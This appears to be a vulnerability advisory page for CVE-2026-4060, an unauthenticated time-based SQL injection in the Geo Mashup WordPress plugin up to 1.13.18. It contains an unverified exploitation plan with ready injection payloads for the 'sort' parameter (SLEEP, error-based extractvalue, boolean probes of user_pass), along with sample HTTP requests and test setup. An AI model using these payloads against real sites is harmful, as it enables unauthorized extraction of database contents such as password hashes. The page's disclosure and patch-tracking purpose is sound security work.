CVE-2026-4060

Geo Mashup <= 1.13.18 - Unauthenticated Time-Based SQL Injection via 'sort' Parameter

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
1.13.19
Patched in
5d
Time to patch

Description

The Geo Mashup plugin for WordPress is vulnerable to Time-Based SQL Injection via the 'sort' parameter in all versions up to, and including, 1.13.18. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. The `esc_sql()` function is applied but is ineffective in the `ORDER BY` context because the value is not enclosed in quotes. Additionally, while a `sanitize_sort_arg()` allowlist-based sanitizer was added in version 1.13.18, it is only applied in the AJAX code path (`sanitize_query_args()`) and not in the `render-map.php` or template tag code paths. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via a time-based blind approach.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.13.18
PublishedMay 1, 2026
Last updatedMay 5, 2026
Affected plugingeo-mashup

What Changed in the Fix

Changes introduced in v1.13.19

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-4060 (Geo Mashup SQL Injection) ## 1. Vulnerability Summary The Geo Mashup plugin (<= 1.13.18) is vulnerable to a time-based blind SQL injection via the `sort` parameter. The vulnerability exists because user-supplied input for sorting is passed to an SQL `ORD…

Show full research plan

Exploitation Research Plan: CVE-2026-4060 (Geo Mashup SQL Injection)

1. Vulnerability Summary

The Geo Mashup plugin (<= 1.13.18) is vulnerable to a time-based blind SQL injection via the sort parameter. The vulnerability exists because user-supplied input for sorting is passed to an SQL ORDER BY clause after being processed by esc_sql(). While esc_sql() escapes quotes, it is ineffective in an ORDER BY context where the value is not enclosed in quotes, allowing an attacker to append additional SQL commands (e.g., SLEEP()). Although a sanitizer (sanitize_sort_arg) was added in 1.13.18 for AJAX paths, it was omitted in the render-map.php and template tag execution paths.

2. Attack Vector Analysis

  • Endpoint: [SITE_URL]/wp-content/plugins/geo-mashup/render-map.php (Direct access) or any page containing the [geo_mashup_map] shortcode.
  • Parameter: sort
  • Authentication: Unauthenticated (No login required).
  • Preconditions:
    • The plugin is active.
    • At least one object (post, page, or user) has location data associated with it (to ensure the location query executes).

3. Code Flow

  1. Entry Point: An unauthenticated user requests render-map.php or a page with a Geo Mashup map.
  2. Input Handling: The render-map.php script (or the shortcode handler GeoMashup::map()) retrieves query parameters from $_GET.
  3. Data Access: These parameters are passed to GeoMashupDB::get_object_locations( $args ) (defined in geo-mashup-db.php).
  4. Vulnerable Sink: Inside get_object_locations(), the $args['sort'] value is sanitized only with esc_sql() and then concatenated directly into the ORDER BY clause of the SQL query.
  5. SQL Construction (Inferred):
    $query = "SELECT ... FROM ... WHERE ... ORDER BY " . esc_sql( $args['sort'] );
  6. Execution: The $wpdb->get_results() function executes the malformed query.

4. Nonce Acquisition Strategy

According to the vulnerability description, this specific code path (render-map.php) lacks the sanitization and nonce checks applied to the AJAX path. render-map.php is traditionally designed to be loaded within an <iframe> and often does not implement WordPress nonces for its primary query parameters.

  • Nonce Requirement: None (Expected unauthenticated/unprotected).

5. Exploitation Strategy

The goal is to demonstrate a time delay using the SLEEP() function within the ORDER BY clause.

Step-by-Step Plan:

  1. Locate Target: Determine if render-map.php is accessible at the standard path.
  2. Verify Location Data: Ensure the database has at least one location to ensure the query is processed.
  3. Execute Baseline: Request the target URL and measure response time.
  4. Execute Attack: Request the target URL with a sort payload designed to trigger SLEEP(5).
  5. Payloads:
    • Simple: ?sort=id,sleep(5)
    • Subquery (to bypass some filters): ?sort=id,(SELECT(1)FROM(SELECT(SLEEP(5)))a)
    • Conditional: ?sort=id,IF(1=1,SLEEP(5),1)

HTTP Request (Direct Path):

GET /wp-content/plugins/geo-mashup/render-map.php?map_name=all&sort=id,sleep(5) HTTP/1.1
Host: localhost

HTTP Request (Shortcode Path):

If direct access to render-map.php is restricted (e.g., ABSPATH check), use a page where the map is rendered:

GET /map-test-page/?sort=id,sleep(5) HTTP/1.1
Host: localhost

6. Test Data Setup

  1. Install Plugin: Ensure Geo Mashup 1.13.18 is installed and active.
  2. Create Location Data:
    # Create a post
    POST_ID=$(wp post create --post_title="Map Point" --post_status="publish" --format=ids)
    # Geo Mashup synchronizes from these meta keys if 'copy_geodata' is enabled
    wp post meta add $POST_ID geo_latitude 34.0522
    wp post meta add $POST_ID geo_longitude -118.2437
    
  3. Create Test Page:
    wp post create --post_type=page --post_title="Map Page" --post_status="publish" --post_content='[geo_mashup_map]' --post_name='map-test'
    

7. Expected Results

  • Baseline Request: Returns in < 1 second.
  • Exploit Request: Returns in approximately 5 seconds (or the specified sleep duration).
  • Database state: No change (Read-only injection).

8. Verification Steps

  1. Monitor MySQL Logs: If possible, watch the general query log to see the executed SQL.
    -- Example expected log entry:
    SELECT ... FROM wp_geo_mashup_locations ... ORDER BY id,sleep(5)
    
  2. WP-CLI Check: Verify location data exists to confirm the query was eligible for execution.
    wp db query "SELECT * FROM wp_posts WHERE post_title='Map Point'"
    

9. Alternative Approaches

  • Error-Based: If WP_DEBUG is on, try ?sort=id,extractvalue(1,concat(0x7e,database())) to leak information in the error message.
  • Blind Boolean: If sleep is throttled, use CASE statements to sort by different columns based on a condition:
    ?sort=(CASE WHEN (SUBSTR(user_pass,1,1)='$') THEN id ELSE location_id END)
    Then observe the order of markers in the response JSON or HTML.
  • Search Path: Use the Search widget entry point if render-map.php fails:
    GET /?geo_mashup_search=test&sort=id,sleep(5) (Inferred search parameter).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.